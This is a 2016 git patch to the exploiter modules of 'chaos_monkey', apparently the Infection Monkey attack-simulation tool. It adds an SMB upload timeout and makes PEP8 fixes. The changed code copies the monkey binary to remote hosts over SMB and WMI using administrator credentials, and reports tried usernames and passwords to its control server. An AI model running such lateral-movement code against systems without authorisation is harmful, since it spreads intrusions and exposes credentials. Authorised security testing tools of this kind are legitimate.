From 32c326bd7b98e5e9da02b2e84a4ffb2770b1f5ee Mon Sep 17 00:00:00 2001 From: daniel goldberg Date: Mon, 5 Sep 2016 17:45:27 +0300 Subject: [PATCH] PEP8 in diff files Add concept of non default timeout for copying SMB files. This is by default 5 minutes. Changed behavior of SMB exploiter if file already exists, we don't assume exploitation is useless and try again. Worse case is we run the monkey after it finished running. Changed behavior if managed to connect to machine to IPC$ over some dialect. If Success, we don't try again. --- chaos_monkey/config.py | 3 +++ chaos_monkey/example.conf | 1 + chaos_monkey/exploit/__init__.py | 3 ++- chaos_monkey/exploit/smbexec.py | 4 +++- chaos_monkey/exploit/tools.py | 41 +++++++++++++++++--------------- chaos_monkey/exploit/wmiexec.py | 3 ++- 6 files changed, 33 insertions(+), 22 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 3e4039520..01ad9a566 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -206,6 +206,9 @@ class Configuration(object): # rdp exploiter rdp_use_vbs_download = True + # smb/wmi exploiter + smb_download_timeout = 300 # timeout in seconds + # system info collection collect_system_info = True diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b9f4b8e8e..69e559275 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -65,6 +65,7 @@ "psexec_user": "Administrator", "range_size": 30, "rdp_use_vbs_download": true, + "smb_download_timeout": 300, "retry_failed_explotation": true, "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 0a03a0f95..1063e256d 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -2,6 +2,7 @@ from abc import ABCMeta, abstractmethod __author__ = 'itamar' + class HostExploiter(object): __metaclass__ = ABCMeta _target_os_type = [] @@ -18,4 +19,4 @@ from wmiexec import WmiExploiter from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter -from shellshock import ShellShockExploiter \ No newline at end of file +from shellshock import ShellShockExploiter diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 016128047..e0571a6a1 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -79,7 +79,8 @@ class SmbExploiter(HostExploiter): self._config.psexec_user, password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.smb_download_timeout) if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", @@ -131,6 +132,7 @@ class SmbExploiter(HostExploiter): return False smb_conn = rpctransport.get_smb_connection() + break # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index a7350a3f6..9fab2d715 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from impacket.dcerpc.v5.dtypes import NULL class DceRpcException(Exception): pass + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -111,7 +112,6 @@ class WmiTools(object): DCOMConnection.PINGTIMER.join() DCOMConnection.PINGTIMER = None - @staticmethod def get_object(wmi_connection, object_name): assert isinstance(wmi_connection, WmiTools.WmiConnection) @@ -132,7 +132,7 @@ class WmiTools(object): wql_query = "SELECT %s FROM %s" % (fields_query, object_name) if where: - wql_query += " WHERE %s" % (where, ) + wql_query += " WHERE %s" % (where,) LOG.debug("Execution WQL query: %r", wql_query) @@ -166,13 +166,13 @@ class WmiTools(object): class SmbTools(object): @staticmethod - def copy_file(host, username, password, src_path, dst_path): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, ) + def copy_file(host, username, password, src_path, dst_path, timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = __import__('config').WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password) + smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) if not smb: return None @@ -183,7 +183,8 @@ class SmbTools(object): try: smb.logoff() - except: pass + except: + pass return None @@ -236,9 +237,9 @@ class SmbTools(object): 'share_path': share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), ) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - low_priority_shares += ((ntpath.sep + file_name, share_info), ) + low_priority_shares += ((ntpath.sep + file_name, share_info),) shares = high_priority_shares + low_priority_shares @@ -248,7 +249,7 @@ class SmbTools(object): share_path = share['share_path'] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password) + smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) if not smb: return None @@ -271,7 +272,7 @@ class SmbTools(object): if file_info: if src_file_size == file_info[0].get_filesize(): LOG.debug("Remote monkey file is same as source, skipping copy") - return None + return remote_full_path LOG.debug("Remote monkey file is found but different, moving along with attack") except: @@ -279,6 +280,8 @@ class SmbTools(object): try: with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True @@ -308,7 +311,7 @@ class SmbTools(object): return remote_full_path @staticmethod - def new_smb_connection(host, username, password): + def new_smb_connection(host, username, password, timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception, exc: @@ -334,6 +337,7 @@ class SmbTools(object): host, username, password, exc) return None, dialect + smb.setTimeout(timeout) return smb, dialect @staticmethod @@ -341,7 +345,7 @@ class SmbTools(object): dce = SmbTools.get_dce_bind(smb) rpc_method_wrapper = getattr(srvs, rpc_func, None) if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, )) + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) return rpc_method_wrapper(dce, *args) @@ -376,12 +380,12 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - + def get_target_monkey(host): from control import ControlClient import platform import sys - + if host.monkey_exe: return host.monkey_exe @@ -391,15 +395,15 @@ def get_target_monkey(host): monkey_path = ControlClient.download_monkey_exe(host) if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path + host.monkey_exe = monkey_path if not monkey_path: if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2**32) or \ + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable - + return monkey_path @@ -425,5 +429,4 @@ def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, - 'user':user,'password':password}) - + 'user': user, 'password': password}) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 30c281c12..982ff2f4d 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -81,7 +81,8 @@ class WmiExploiter(HostExploiter): self._config.psexec_user, password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.smb_download_timeout) if not remote_full_path: wmi_connection.close()